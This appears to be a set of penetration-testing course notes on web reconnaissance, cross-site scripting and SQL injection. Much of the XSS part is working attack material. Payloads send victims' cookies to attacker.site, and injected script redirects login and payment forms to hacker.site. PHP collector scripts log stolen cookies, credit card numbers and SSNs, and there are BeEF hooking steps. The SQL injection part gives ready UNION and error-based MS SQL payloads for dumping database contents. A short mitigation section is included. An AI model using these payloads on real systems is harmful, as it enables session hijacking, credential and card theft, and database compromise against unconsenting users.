- Starting with the DIrBuster output, which has uncovered a number of public and hidden directories on the server, let us do a GET request For each directory found. We will look at the web page content to search For patterns like To parent directory, Directory Listing For, index of …
- If the pattern is matched, we should be in front of a directory listing that we can navigate to using our web browser.
Log and Configuration Files
- Logs are text files left on the web server by applications to keep track of different activities: errors, logins, informative message and so on.
- They usually contain valuable information that we will want to uncover.
- every web app has a configuration file placed somewhere.
- example: joomla stores the config file in the application root folder with the name configuration.php
- Configuration files, contain settings and preferences regarding the web applications installed.
- They can contain the username and password that the application used to connect to the database, or other administrative area.
- This file in itself is not viewable because it has the .php extension, but we should look For backup alternatives: configuration.php.bak, configuration.php.old, etc
HTTP Verbs and File Upload
- Among the different mistakes an administrator can make in the configuration of the web server, leaving a directory writable by anyone is the biggest.
- Writable directories are all those directories that allow us to upload our own files on the server through the PUT HTTP verb.
- Check the availability of the PUT verb among the allowed verbs.
To do this we will use Putty or Netcat to query the webserver directly issuing the following request:
OPTIONS / HTTP/1.1
Host: target.com
// the server will respond with the list of the available verbs
// usually you will find out that only: GET, POST, HEAD and TRACE verbs are enabled.
// Another thing, if the OPTIONS verb is not allowed, we will not be able to enumerate all the available verbs. This does not mean that PUT is not available. We will just have to test it directly.
// In case OPTIONS verb is not allowed we will receive either a 4xx or 5xx error message according to the webserver.
- We need to know what directory, if any, we can upload to.
- Its important to understand the correlation between the directory privileges and the possibility of uploading files.
- in IIS, every configured website can be run by different local users. These users are assigned to the website visitor in order For him to browse the website.
-
There is not a straight forward method how to verify directory privileges remotely.
- Once we have a pool of candidate folders we will try our PUT command on them:
PUT /writable_dir/test.html HTTP/1.1
Content-length: 184 //its important to provide the content length of the payload
<RETURN>
if the upload is successful, the server will respond with a 201 Created.
Google Hacking
- Use google search operators For our information gathering purposes.
- https://www.exploit-db.com/google-hacking-database/
- example:
- Querying For Apache online documentation
intitle:"Apache HTTP Server" intitle:"documentation"
intitle:"Apache HTTP Server" intitle:"documentation" site:target.com
- Looking For open directory listings containing .bak files:
"Index of" bak
"Directory listing for" bak
- Looking For files with a specific extension is as easy as:
filetype:"bak"
filetype:"inc"
filetype:"inc" site:target.com
Through Google Hacking, we may able to detect:
Error messages that may contain valuable information
Sensitive Files and Directories
// passwords, usernames, configuration, etc
Server or application vulnerabilities
Pages that contain login portals
Moreover:
- http://www.googleguide.com/advanced_operators.html
- https://www.exploit-db.com/google-hacking-database/
Shodan HQ
- Similar to Google Hacking, there is another great search engine that will be very useful For our information gathering process.
- http://www.shodanhq.com/help/filters
- Instead of crawling data in web pages, Shodan scans the entire Internet and interrogates ports in order to gather information from the banners.
- Shodan searches includes the following protocols:
HTTP(s)
SSH
SNMP
MySQL/MondoDB
RDP
FTP
Telnet
// and few more
We can use it to search For:
Devices with default username and password,
Viewing the configuration of a device,
Detect server versions, and much more
Filters:
[before/after] day/month/year: search only For data that was collected before or after the given date
hostname: filters results For hosts that contain the value in their hostname
port: narrow the search For specific services
OS: search For specific operating system
[+] Practice: Find all the devices running apache in Italy (IT) apache country:IT
XSS - Cross Site Scripting
Intro
- Attacks triggered by user input are called input validation attacks.
Whats an input validation attack?
-
Its when malicious input tries to subvert the anticipated function of an application because of either insufficient validation by the application or by the server, before it uses the data.
- Most web application vulnerabilities are the result of poor coding design and ignorance of the best practices of secure coding methodologies.
- We will see some common mitigation techniques while studying each vulnerability.
- Input validation attacks include XSS, SQL injections, HTTP Header tampering and many others.
- We will have a look at each of them as all of them have their unique discovery and exploitation techniques.
Cross Site Scripting
- The ultimate purpose is to inject HTML (HTML injection) or run code (JavaScript) in a users web browser.
- XSS is considered an attack against the user of a vulnerable website.
<?php echo '<h4>Hello ' . <?php $name = @$_GET['name']; ?> . '</h4>'; ?>
- it will print a welcome message to the user whose name is retrieved from the $_GET variable.
-
the $_GET stores the <parameter,value> pairs passed through the HTTP GET method.
- GET is the method used when clicking links or directly typing the website URL you want to browse, into your browsers location bar.
- The user input will be extracted from the querystring of the URL browsed
→ http://victim.com/welcome.php?name=MyName
- When the above is passed to the server, the $_GET variable will contain a name parameter with the value MyName. ?name=MyName is called querystring.
- The following HTML code will be returned from the server to the web browser:
<h4>Hello MyName</h4>
- Our input is part of the output web page source code.
- We can insert a malicious payload in there:
?name=</h4><script>alert('This is XSS');</script>
// It injects some JavaScript code into the web page source code.
// The JS will be executed within the website context of the browser.
Why does this happen?
Because the user input is given as output, without any kind of sanitization (either on input or output).
Anatomy of an XSS Exploitation
Goals:
- Cookie stealing
- Getting complete control over a browser
- Initiating an exploitation phase against browser plugins first and then the machine
- Perform keylogging
1 step: Try to find an XSS vulnerability affecting the website
2 step:
Once a XSS exploit is located, i will have to:
- build a payload
- create a link
- send it to the victim inviting the same to click on it
(this is called a Reflected XSS that we will see in much more details in the next paragraphs)
<img src="http://auth.y.com/vuln.php?<XSS payload>">
The image tag above may be inserted in a third-party website (perhaps a forum or a social network that the victim may trust) The final goal is to have his victims browser to visit the crafted link (carrying the payload), so he will use any trick at his disposal.
The 3 Types of XSS
- Reflect XSS
- Stored XSS
- DOM XSS
Reflected XSS
- Is the most common and well understood form of XSS vulnerabilties.
- It occurs when untrusted user data is sent to a web application and is immediately echoed back as untrusted content.
- Then, as usual, the browser receives the code from the web server response and renders it.
- This type of vuln deals with the server-side code.
<?php $name = @$_GET['name']; ?>
Welcome <?=$name?>
Persistent ( aka Stored) XSS
- similar to Reflected however, rather than the malicious input is being directly reflected in the response, its stored within the web application.
- Once this occurs, its then echoed somewhere else within the web application and may be available to all visitors.
- Occurs within server-side code but, between the two, this is the most useful one For an attacker.
- The reason is simple. With a page persistently affected, we are not bound by having to trick a user. We just exploit the website and then any visitor that visits will run the malicious code and be affected.
DOM XSS
- Exists only within client-side code *typically JavaScript
- Generally speaking, this vulnerability lives within the DOM environment, thus within a pages client-side script itself and does not reach server-side code.
- Similar to Reflected XSS example, but without interacting with the server-side. A web application can echo the welcome message in a different way as you will be able to see in the following sample code:
- The key to exploiting this type of XSS flaw is that the client-side script code can access the browsers DOM elements thus all the information available in it. Examples: URL, history, cookies, local storage, etc
- Despite this, DOM is a jungle, and finding this type of XSS is not the easiest task.
Going Deeper
Reflected XSS (aka Non-persistent)
- Victims bring the payload in their HTTP request to the vulnerable website. This payload will be inserted into the webpage and executed by their browsers.
- The hacker has to trick the victim into starting a specially crafted request to the vuln website page in order For the attack to be successful.
The hacker has many techniques at his disposal to camouflage the offending url:
tinyurl and similar services : http://tinyurl.com/
iframes located in a third-party malicious webpage
link in a targeted email and so on.
- Most of the time, reflected XSS are used by hackers to steal sessions IDs (stored in cookies) or the cookies themselves. More advanced reflected XSS can be used For phishing techniques, XSS worms or to install malware on victims machine through the exploitation of web browser vulnerabilties.
Persistent XSS
- Are attacks that lead to the execution of code in all the users web browsers visiting a vulnerable (and exploited) web page.
- The inject code is saved by the application, unsanitized and then rendered on either the same, or another web page in the same web site.
- The malicious code can be injected, by the attacker, directly into the web application
- This is the most important difference between Reflected and Persistent XSS.
- This is the most dangerous form of XSS, as it can target all the visitors of a website, and its the only form of XSS actually targeting the website itself (not only its visitors)
such attack is very destructive and likely to occur in:
Community
Content driven
Custom applications like blogs
Commeting systems and social networks
-
During a reflected XSS attack:
The user could defend himself at some extent relying upon his experience and security awareness
-
However, In this case (Persistent Attack):
The attack is so covert and neat, that as soon as the user browses the infected page, the code is automatically executed.
DOM (Document Object ModeL)
- Its an object built by the web browser upon parsing the web page content provided by the server.
- Functions like getElementByTagName are DOM functions that let us navigate through the page elements in a hierarchical view (a node may have children as well as a father and may contain attributes and so on)
- They are allowed when the JavaScript code uses the user supplied data as part of its logic.
- Once again, if sanitization is not put in place, injection is possible.
- JavaScript code can use the querystring provided to the webpage as input to perform different operations accordingly.
- Another way to gather user input is to use the prompt() method.
- When the user input is part of the querystring and is used as output through either the function document.write or, its variants, its possible to inject arbitrary content into the web page.
- This attack does not require any interaction with the server.
- moreover: http://www.webappsec.org/projects/articles/071105.shtml
- DOM-based XSS can even be persistent. If the malicious payload is saved by the web application within a cookie, the victim user, providing the server with the poisoned cookie, will run the malicious payload every time a new request is sent to test.html.
Finding XSS
- If there is a correlation between both output-input and the user supplied data is part of the output, then we have found a potential mount point For an XSS attack.
- Once we have spotted these output <=> input correlations, we will try to inject either HTML or JavaScript code into the input. When we say Input we mean one of the following:
GET/POST variables
COOKIE variables
HTTP headers
- So you should be capable of understanding what channels the application uses to retrieve data from the user.
- The channel used by the web app may change the level of exploitability:
Input from the GET method is the easiest to exploit.
- By including a payload in a crafted link, when the victim clicks on this link, they are executing an example of XSS (carried in the GET method of the HTTP request),
The POST verb:
- IS used For forms submission therefore, exploiting it requires both some tricks and a different exploitation approach.
How to test
At first just: <plaintext>
- This special HTML tag instructs the browser to treat the remaining web page source as plain text thus, breaking the appearance of the site.
- You can immediately tell if the inject was successful without inspecting the source; you will just see a broken web page layout showing the web page source as part of the website appearance.
- However, Injecting plaintext tag is not indicative of the possibility of injecting scripts.
- This is why the second step would be to check using script tag or using one of the DOM events.
- Sometimes, the input validation routines may allow the plaintext tag, but may deny tags like IFRAME or IMG.
Finding XSS in PHP Code
- A general rule For this kind of (iterative and complex) task is to look For all the points where the application outputs data (totally or partially) supplied by the user and tracking it back to the source where it is retrieved For the first time:
- If a sanitization or integer conversion is made then you should be fine (as long as the sanitization is properly implemented).
- In this process, one should also take in to consideration data that comes from the database. This data may not have been sanitized and as a result, can result in a persistent XSS mount point.
- This endeavor is time consuming, so the use of cross referencing tools like PHP XREF For PHP language projects is highly recommended.
- It will help you with the tracking of variables life from declaration to their death on output.
XSS Exploitation
Example:
<html>
<head><title>Test XSS </title></head>
<body>
<img src="logo.png" alt="<?= $_GET['name'] ?>">
</body>
</html>
If you want to practice with it, you can just create a PHP file with the above code. Setup a web server with PHP using Wamp For Windows and Lamp For Linux.
"><script>alert('XSS Example')</script>
"><body onload="alert('XSS Example')
""><body onload="alert('XSS Example')">
" onload="javascript:alert('XSS Example')
index.php?name=" onload="javascript:alert('XSS Example')
- The DOM events are often used in XSS exploitation because they allow us to avoid using suspicious characters like
<
>
We do not even need to use any HTML tags (like the SCRIPT or BODY tags) here. Therefore, we are able to bypass basic input validations routines that may rely on this type of silly check.
- If filters and input validation routines are in place, then we wil want to ensure to submit as few suspicious characters as possible.
In this case the javascript: in the onload event of our payload can be ommited to become:
index.php?name=" onload="alert('XSS Example')
Making our script injection elegant and hard to detect, we can avoid using single quotes with the help of the JavaScript function String.fromCharCode. This will output a character by its code and the payload would become:
" onload="alert(String.fromCharCode(88,83,83))
XSS and Browsers
- XSS is the injection of scripts and HTML in web pages source code.
- They way we do this injection, is sometimes tricky and involves quite a bit of knowledge of the technologies involved.
- Basically, it should be understood that a payload working under Firefox may not work For Internet Explorer or Safari and vice versa.
- Browsers are software that interpret the HTML received by the web server according to their internal rules.
- Just like how you would do your best to code your website to be cross-browser compatible, the same must be said For XSS exploits.
- Even if these filters can block simple common XSS vectors, they cannot find every XSS because, it really depend on the injection point.
XSS Attacks
Potential objectives a hacker can achieve by successfully exploiting an XSS vulnerability discovered in a web site.
- Cookie stealing
- Defacement
- Phishing / Malware
- XSS Worms
Attack - Cookie Stealing Through XSS
- Cookies carry parameters from an HTTP server to its clients and vice-versa.
- The SOP prevents cookie stealing however, we can violate it by means of an XSS attack.
- If we steal the sessionID and install the cookie with this sessionID on our browser, we are able to access bob account on alice.xxx
- The purpose of the following XSS attack is to steal that cookie
- Once again: Cookies can be read only through JavaScript embedded in alice.xxx (and only if httpOnly is not set For that cookie)
-
The same-origin policy forces us to cross the security boundaries of websites through an XSS that we have to find within alice.xxx
- The first part of the attack is the research of a XSS in alice.xxx Example:
- domain=.alice.xxx
-
this means that we can search in subdomain aswell, think of it as *.alice.xxx
- The other parameter to consider is the path.
- When a cookie is issued with the parameter path=/ its valid For all the directories of the domain it applies.
- Path can limit the validity of the cookie to a specific subdirectory, shrinking the possibilties of finding an XSS.
Example:
path=/members/
- Our research For XSS will be limited to **members** directory and its subdirectories: /members/*
path=/members
Without the trailing slash the wildcard becomes /members*.
- The web browser enforces the same-origin policy on the hostname-port. The cookie path has nothing to do with security. We still have access to the DOM!
- So its possible For an application in path2 to read cookies in path1 by using the following trick: put this in a html file within /path2/
<script>
function cookiepath (path) {
For (var i = 0; i < window.frames.length; i++) {
frameURL = window.frames[i].location.toString();
if (frameURL.indexOf(path) > -1)
alert(window.frames[i].document.cookie);
}
}
</script>
<iframe onload=" cookiepath('/path1/')" style="display:none;"
src="/path1/index.php"></iframe>
- Basically a script in a page under /path1/ is capable of reading the cookie set For /path2/ through an iframe.
- This means that if you need an XSS in /path2/ you may still look For it in other paths provided that you are able to inject the above code exploit.
Firefox extensions
-
To test how the cookies mechanism works: Live HTTP Header - https://addons.mozilla.org/en-US/firefox/addon/3829 // Helps understanding when the cookie is being sent Cookie Editor - https://addons.mozilla.org/en-US/firefox/addon/4510 // show the installed cookies and the <domain, path, expiration> parameters
- The flag httpOnly prevents cookies from being read by JavaScript
- secure cookies - are sent only if https (SSL) is used in the request
-
Search pages are good places to look For XSS
- The exploitation process goes as follows:
- Read the cookie using JavaScript
- Redirect the cookie content to a server that we own (lets suppose test.com)
- Retrieve the logged cookie from our server and install it on our browser using A&C Cookie editor or any other means (This third step may vary according to the browser used)
Payload
→ search.php?kw=
// the %2b is the URL-encoded version of the + character // the browser cannot tell if the src attribute of an image object is real image or not, so it must perform a GET request to the attacker-supplied PHP script
steal.php content:
$fn="log.txt";
$fh=fopen($fn, 'a');
$cookie=$_GET['q'];
fwrite($fh,$cookie);
fclose($fh);
- We could send this to bob by email, if bob is a privileged user on alice.xxx and if the rules of engagement allow this, then we can also take advantage of URL shrinking service like tunyurl.com that hides the payload For us.
Whose fault is it?
- The actual victim (bob) is not vulnerable to any direct attack
- And the vulnerable party (alice) is not the victim
- In this case, the vulnerable site positions its visitors and their data at risk
- There is little left For them to do to protect themselves beside using Noscript add-on on Firefox or relying on XSS filters.
Attack - Defacement
- The most immediately visible damages that an XSS may cause
- When we find a persistent XSS, we are able to change the appearance of the web page by manipulating the DOM.
document.body.innerHTML="<h1>Defaced</h1>";
- The DOM object body corresponds to the BODY tag that holds the page content
-
By setting its content, we basically replace the current content with our own. In this case is just the word Defaced.
- All of us know phishing by the many spam emails we receive everyday asking For our PayPal login credentials.
- This and many others are the ways a phisher wants us to visit a crafted website convincing us of its authenticity
- These phishing attacks resolve around deceiving the user into thinking that one website, is a different one.
- XSS phishing on the other hand, modifies the actual website in a sneaky way to increase the chances of success.
- If the phisher objective is to steal login credentials and an XSS if found on the login page of a website, the only change to make would be to the login FORM. The attacker would make sure that the username and password would be redirected to a domain belonging to him.
Note: SSL certs, DNS checks, blacklists, and other phishing defenses fail miserably in handling XSS phishing because the phishing website is the actual website.
How to
- The simpliest way is to alter the ACTION parameter of the FORM tag:
<form name="loginform" method="POST" action="/checklogin.cgi">
- By injecting the following JavaScript the page will remain unchanged.
document.forms[0].action="https://hacker.site/steal.php";
Attack - BeEF
- Once an XSS vuln is found. BeEF is the fastest way to exploit it and gain control of the remote browser.
- If the browser is unpatched or old, BeEF and Metasploit Browser Autopwn are capable of exploiting it to give you a remote shell on the remote machine.
Mitigation
- XSS exploits are Data Validation vulnerabilties
- XSS vulns can happen only if untrusted user input is used on the web application output.
- This kind of vulnerability is actually an output encoding vuln: XSS exploitation happens when the attacker manages to inject code on the output
Mitigating a XSS is about implementing two layers:
Input Validation to filter the attack vectors as much as possible
Context-Aware output encoding to correctly and safely render users content on the web application pages
Input validation
- The characters needed to represent the input data should be the only ones accepted
Example:
The quantity field of an online shopping cart should accept only digits. The developer could implement a whitelist that will accept only numbers.
Context-Aware Output Encoding
- Every time input supplied by the user is displayed in the web application output, it should be encoded. The encoding engine must know where in the web application output the untrusted input will be rendered.
- Example:
An online forum could accept some tags like <spoiler>The assassin was...
</spoiler> but it really should not accept something like <script>!
- Rendering URL paths requires a different encoding system than rendering special characters. This is different from encoding in JavaScript code.
- Because of this, we usually suggest that clients implement XSS filtering by using a vetted library or a platform function
[!Caution] Writing a custom anti-XSS library will very likely be prone to implementation mistakes.
When builting web applications: Never trust user input!
Reflected/Stored XSS
Check if input fields are sanitized:
<h1>Hi <h1>
Verify if JavaScript code works:
<script>alert('xss');</script>
Try to print out the cookie:
<script>alert(document.cookie);</script>
Trick the user with this code
get.php:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('jar.txt', 'a');
fwrite($fp, $ip.' '.$browser." \n");
fwrite($fp, urldecode($_SERVER['QUERY_STRING']). " \n\n");
fclose($fp);
?>
Crafted a Payload:
<script> var i = new Image(); i.src="http://attacker.site/get.php?cookie="+escape(document.cookie)</script>
So, each time the user loads this page, his cookies will be sent to our script and we will be able to read them.
- Just copy the stolen cookie to our browser and we can login with the user credentials
DOM XSS
"><img src="aaa" onerror="alert(document.domain)">
"><svg/onload="alert(document.domain)">
Go to web console in the browser:
document.forms
document.forms[0]
document.forms[1]
document.forms[1].action="test.html"
// we changed the result of the click button to a page that does not exist // now we can point to a page that we own
"><svg/onload="document.forms[1].action='//hacker.site/steal.php'"> "
steal.php:
<?php
if (isset($_POST['cc']))
{
$LOOT="loot.txt";
$ccData=$_POST['cc'] . '|||' . $_POST['ssn'] . "\n";
$fh = fopen($LOOT, 'a');
fwrite($fh, $ccData);
fclose($fh);
echo "Thanks for your credit card information" . $_POST['name'] . "!!!";
}
?>
JS
alert.js:
alert('This is hosted on hacker.site')
Browser console:
var s = document.createElement('SCRIPT');
s.src = '//hacker.site/alert.js';
document.body.appendChild(s);
- now we copy the 3 lines to a onload script in the URL browser
"><svg/onload="var s = document.createElement('SCRIPT');s.src = '//hacker.site/alert.js';document.body.appendChild(s);"> "
It can bypass browsers like chrome that has a anti-XSS system. Cause DOM attack is executed in the client-side
beEF Attack
in Kali:
cd /etc/beef-xss/
nano config.yaml
take the '#' of the permitted_ui_subnet
take the '#' of the permitted_hooking_subnet
change the listening port to '80' or '443'
set user and password For the interface if u want
- Kali Linux > System Services > BeEF > beef start
or
cd /usr/share/beef-xss
./beef
copy the UI URL to the browser
Go to a vulnerable site and inject the hook.js from the beef:
<script src="http://<kali ip>:80/hook.js"></script>
- the website is hooked, now anyone that access this site, will be hooked too and we can access via beef browser
Enjoy all the option beef provides
./beef -x
// to open a completly new session
SQL Injection
Introduction to SQL Injections (SQLi)
- it exploits the injection of SQL commands into the SQL queries of a web app.
-
A successful SQLi attack lets a hacker access and manipulate a web app backend database.
- To interact with databases, entities such as system operators, programmers, applications and web applications use Structured Query Language (SQL)
- Web app embed SQL commands, also known as queries, in their server side code.
- The code takes care of establishing and keeping the connection to the database by using connectors. Connectors are middle-ware between the web app and the database,
SQL basics:
SQL statements syntax
How to perform a query
How to union the results of two queries
The DISTINCT and ALL operators
How comments work
SQL Statement
SELECT name, description FROM products WHERE id=9;
// The above code queries the database, asking For the name and the description of a record in the products table. In this example, the selected record will have id value equal 9
SELECT <columns list> FROM <table> WHERE <condition>;
// moreover http://www.w3schools.com/sql/sql_intro.asp
Its also possible to select constant values:
SELECT 22, 'string', 0x12, 'another string';
UNION command, performs a union between two results:
<SELECT statement> UNION <other SELECT statement>;
f a table or query contains duplicate rows, you can use the DISTINCT operator to filter out duplicate entities:
SELECT DISTINCT <field list> <remainder of the statement>;
A UNION statement implies DISTINCT by default. You can prevent that by using the ALL operator:
<SELECT statement> UNION ALL <other SELECT statement>;
Comments: There are two strings you can use to comment a line in SQL:
# (The hash symbol)
-- (two dashes followed by a space)
Example:
SELECT Name, Description FROM Products WHERE ID='3' UNION SELECT Username, Password FROM Accounts;
SQL Queries Inside Web Applications
- To perform the same tasks from within a web app, the app must: Connect to the database; Submit the query to the database; Retrieve the results;
The previous example shows a static query example inside a PHP page:
$connection is an object referencing the connection to the database
$query contains the query
mysqli_query() is a function which submits the query to the database
Finally the custom display_results() function renders the data
However, most of the times queries are not static, they are dynamically built by using the users inputs. Here you can find a vulnerable dynamic query example:
$id = $_GET['id'];
$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);
$query = "SELECT Name, Description FROM Products ID='$id';";
$results = mysqli_query($connection, $query);
display_results($results);
Although the code is functionally correct, this behavior is very dangerous, because a malicious user can exploit the query construction to take control of the database interaction.
Vulnerable Dynamic Queries
SELECT Name, Description FROM Products WHERE ID='$id';
What if an attacker crafts a $id value which can actually change the query?
' or 'a'='a
result: SELECT Name, Description FROM Products WHERE ID='' or 'a'='a';
// This tells the database to select the items by checking two condictions:
The id must be empty (id='')
OR an always true condiction ('a'='a')
An attacker could also exploit the UNION command by supplying:
' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a
How Dangerous is a SQL Injection
- First, we have to understand that based on the DMBS that the web application is using (MySQL, SQL Server …), the attacker is capable of performing a number of actions that go much further than the mere manipulation of the database.
- The attacker could read the file system, run OS commands, install shells, access the remote network and basically own the whole infrastructure.
- Among all the vulnerabilities that may affect web applications, SQL injections are the first checked by hackers because of the fact that they produce the most immediate results.
SQLi Attack Classification
There is different types of classifications, each one based on different aspects such as:
Scope of the attack
Exploitation vector
Source of the attack
We will refer to 3 different injection attacks and exploitation types:
In-band
Error-based
Blind SQL
These classifications are based on the exploitatoin method used to carry out the attack. This will help you follow the explanations of the detection and exploitation phases.
In-band SQL Injections
- It leverage the same channel used to inject the SQL code
- During and an in-band attack the penetration tester finds a way to ask the web app For the desired information.
Error-based SQL Injections
- During a Error-based the pentest tries to force the DMBS to output an error message and then used that information to perform data exfiltration.
- The pentest needs to use advanced DBMS features. Errors could be sent either via the web application output or by other means such us automated reports or warning emails.
Blind SQL Injection
- A web app vulnerable to blind SQL injection does not reflect the results of the injection on the output. In this case the pentest must find an inference method to exploit the vulnerability.
- Inference exploitation is usually carried out by using true/false conditions
- The pentest can understand if a condition is true or false by studying the web app behavior.
Finding SQL Injections
- The most direct way to find SQL injections within a web app is to probe its inputs with characters that are known to cause the SQL query to be syntactically invalid and thus forcing the web application to return an error.
- Note: Not all the inputs of a web app are used to build SQL queries. In the Information Gathering module, we suggested that you categorize the different input parameters and save the ones used For database retrieval and manipulation.
-
Input parameters are carried through: GET and POST requests, HEADERS and COOKIES. We have to check all these channels where data is retrieved from the client.
- Testing input For SQL injection means trying to inject:
String terminators: ' ' and " "
SQL commands: SELECT, UNION and others
SQL comments: # or --
- And checking if the web app starts to behave oddly
- Always test one injection at a time. Otherwise you will not be able to understand what injection vector is successfull.
SQL Errors in Web App
- Every DBMS responds to incorrect SQL queries with different error messages.
-
Even within the same DBMS, error messages change according to the specific function the web app uses to interact with it.
- A typical error from MS-SQL: Incorrect syntax near [query snippet]
A typical error from MySQL:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version For the right syntax to use near [query snippet]
- If, during an engagement, you find errors similar to the previous ones, its very likely that the application is vulnerable to an SQL injection attack.
- This is not always the case, sometimes you have to have educated guesses in order to understand if a web app is vulnerable or not.
Boolean Based Detection
- This happens both because of the usability of the application, its useless to display errors to end users who cannot understand or fix them, and to achieve security through obscurity.
- Security through obscurity is the use of secrecy of design, implementation or configuration in order to provide security. In the following slides you will see how this approach cannot defend a vulnerable application from SQL injection attacks.
- If a web app does not display errors in its output, its still possible to test For SQL injection by using a Boolean based detection technique.
- The idea behind is simple, yet clever: Trying to craft payloads which transform the web app queries into True/False conditions. The penetration tester then can infer the results of the queries by looking at how the application behavior changes with different True/False conditions.
Example:
1141' and 'els'='els
- After detecting a potential injection point, its time to test if its actually exploitable.
- In the following chapters, you will see different techniques to exploit SQL injection vulnerabilities.
Exploiting In-Band SQL Injections
- In-band SQL injection techniques make the retrieval of data from the database very powerful thanks to the use of the UNION SQL command. For this reason, In-band injections are also known as UNION-based SQL injections.
- This kind of attack lets a pentester extract the database content, in the form of the database name, tables schemas and actual data.
There are many things to note in the previous attack:
The field types of the second SELECT statement should match the ones in the first statement;
The number of fields in the second SELECT statement should match the number of the fields in the first statements;
To successfully perform the attack, we need to know the structure of the database in terms of tables and column names.
Enumerating the Number of Fields in a Query
Enumerate the number of columns or fields, in query selects:
mysql_query("SELECT id, real_name FROM users WHERE id=".$GET['id'].";");
// id has data type int // real_name has data type varchar (a string)
If the web app outputs an error, please note that every DBMS outputs a different error string:
- MySQL error: The used SELECT statements have a different number of columns
- MS SQL error: All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
- PostgreSQL error: ERROR: each UNION query must have the same number of columns
-
Oracle error: ORA-01789: query block has incorrect number of result columns
- We start by injecting a query that selects null fields. We start with a single field and then increase the number of fields until we build a valid query.
Example: Detecting the number of fields needed to exploit an in-band SQL injection looks like the following:
9999 UNION SELECT NULL; -- -
9999 UNION SELECT NULL, NULL; -- -
9999 UNION SELECT NULL, NULL, NULL; -- -
9999 UNION SELECT NULL, NULL, NULL, NULL; -- -
- We can iteratively add null fields until the error disappears.
This will force the web app to execute the following queries:
SELECT id, real_name FROM users WHERE id='9999' UNION SELECT NULL; -- -
SELECT id, real_name FROM users WHERE id='9999' UNION SELECT NULL, NULL; -- -
Blind Enumeration
- What about a web app that does not display errors?
- The basic idea is similar (increasing the number of fields at every step) but, in this case we want to start with a valid id and then inject our query.
- As we did before, we increase the number of fields selected until we create a valid query.
Identifying Field Types
- After identifying the number of fields, we need to find their type. Most of the DBMS perform type enforcing on the queries.
-
If the DBMS performs type enforcing on UNION statements you cannot perform a UNION between an integer and a string therefore > SELECT 1 UNION ‘a’; will trigger an error!
- Depending on how the DBMS handles data types, we are required to provide an exact match of the data types For each column in the two SELECT statements.
DBMS | Type Enforcing |
MySQL | No |
MSSQL Server | yes |
Oracle | Yes |
PostgreSQL | yes |
Finding the data types used in queries is, once again, a cyclical process. We have to:
Substitute one of the null fields in our payload with a constant
If the constant type used is correct, the query will work
If the type is wrong the web app will output an error or misbehave
We found an in-band SQL injection with two fields:
' UNION SELECT null, null; -- -
So we try to test if the first field is an integer by sending:
' UNION SELECT 1, null; -- -
If the web app works correctly we can assume that the first field is an integer so we proceed to:
' UNION SELECT 1, 1; -- -
If we get an error, or the application misbehaves, then the second field is not an integer therefore, we can move on to:
' UNION SELECT 1, 'a'; -- -
Dumping the Database Content
- After finding out the number of columns and their types, its possible to extract information about the database, the server and the database data.
Exploiting Error Based SQL Injections
- Are another way to retrieve data from the database. While they do not ask For data directly, they actually use some advanced DBMS functions to trigger an error. The error message contains the information the pentester is aiming For.
- Most of the times the error message is reflected on the web app output but, it could also be embedded in an email message or appended to a log file. It depends on how the web app is configured.
-
Error-based SQL injection is one of the fastest ways to extract data from a database. Its available on DBMS such as Oracle, PostgreSQL and MS SQL server.
- MS SQL SERVER reveals the name of database objects within error messages. the first piece of information we would like to know is the database version so that we can build our exploits accordingly.
The CAST technique
999999 or 1 in (SELECT TOP 1 CAST (<FIELDNAME> as varchar (4096)) from <TABLENAME> WHERE <FIELDNAME> NOT IN (<LIST>)); -- -
This payload is used as input to the vulnerable parameter of the web app: asp?id=<payload>
99999 is just a bogus value, you can put anything here, provided that its not an id present in the database (we want OR part of the SQL query to be executed, so the first condition should be FALSE)
or 1 in = Will trigger the error, we are asking the db to look For integer value 1 within a varchar column,
CAST (<FIELDNAME> as varchar (4096)) = We insert the column that we want to dump.
<FIELDNAME> can be a SQL function like user_name() or a variable like @@version.
WHERE <FIELDNAME> NOT IN (<LIST>) = This part can be ommited/adjusted at our disposal according to which table our searched fieldname value belongs to.
Example:
999999 or 1 in (SELECT TOP 1 CAST (@@version as varchar (4096))) -- -
- Knowing the database version is really important because it helps you during the exploitation phase.
- Different MS SQL Server versions have different default column names in the master database. We can find information about the structure of the master database on MSDN
- MSDN - https://msdn.microsoft.com/en-us/library/ms187837.aspx
Dumping the Database Data
- How to extract information from a database by using error-based SQL injections current database username current database name installed databases the tables into a given database the columns of a given table database data
Finding the Current Username
Understand the level of privilege we have, by finding the current database user:
99999 or 1 in (SELECT TOP 1 CAST(user_name() as varchar (4096))) --
user_name() is a MS SQL function which returns the current database user
Finding Readable Databases
To do that we will iterate through the MASTER database to find all the databases that we can read:
99999 or 1 in (SELECT TOP 1 CAST(db_name(0) as varchar (4096))) --
db_name() function accesses the master..sysdatabases table which stores all the databases installed on the server. We can only see the databases that user has rights to.
To enumerate all the databases we just have to increment the db_name() argument:
99999 or 1 in (SELECT TOP 1 CAST(db_name(1) as varchar (4096))) --
Cycle through 1,2,3 and continue until we cannot enumerate any more databases.
Enumerating Database Tables
99999 or 1 in (SELECT TOP 1 CAST(name as varchar (4096))) FROM <database name>..sysobjects WHERE xtype='U' and name NOT IN (<known table list>)); --
// xtype=’U’ = user defined tables
// name NOT IN (‘
If a database contains three tables:
HR
Customers
Products
known table list will:
Be empty in the first payload. ...name NOT IN (' ') will work
Contain 'HR' at the second step
Contain 'HR', 'Customer', 'Products' at the last step
- After retrieving the tables of a database, its also possible to recover the columns of each table. This is the schema of the database and we can retrieve it by using the following payload template:
99999 or 1 in (SELECT TOP 1 CAST (<db name>..syscolumns.name as varchar(4096) FROM <db name>..syscolumns,<db name>..sysobjects WHERE <db name>..syscolumns.id=<db name>..sysobjects.id AND <db name>..sysobjects.name=<table name> AND <db name>..syscolumns.name NOT IN (<known column list>));
Dumping Data
- After enumerating the databases and their schemas, we can proceed to the data dumping phase.
You can dump data with the same technique we have seen For schema enumeration:
99999 or 1 in (SELECT TOP 1 CAST (<column name> as varchar(4096) FROM <dbname>..<table name> WHERE <column name> NOT IN (<retrieved data list>)); -- -
id
To retrieve the id values, you can use the following payload:
9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar) %2bchar(64) FROM cms..users WHERE id NOT IN (' '); -- -
// %2bchar = +@ // This ensures that the selected id has data type varchar thus making the cast error possible
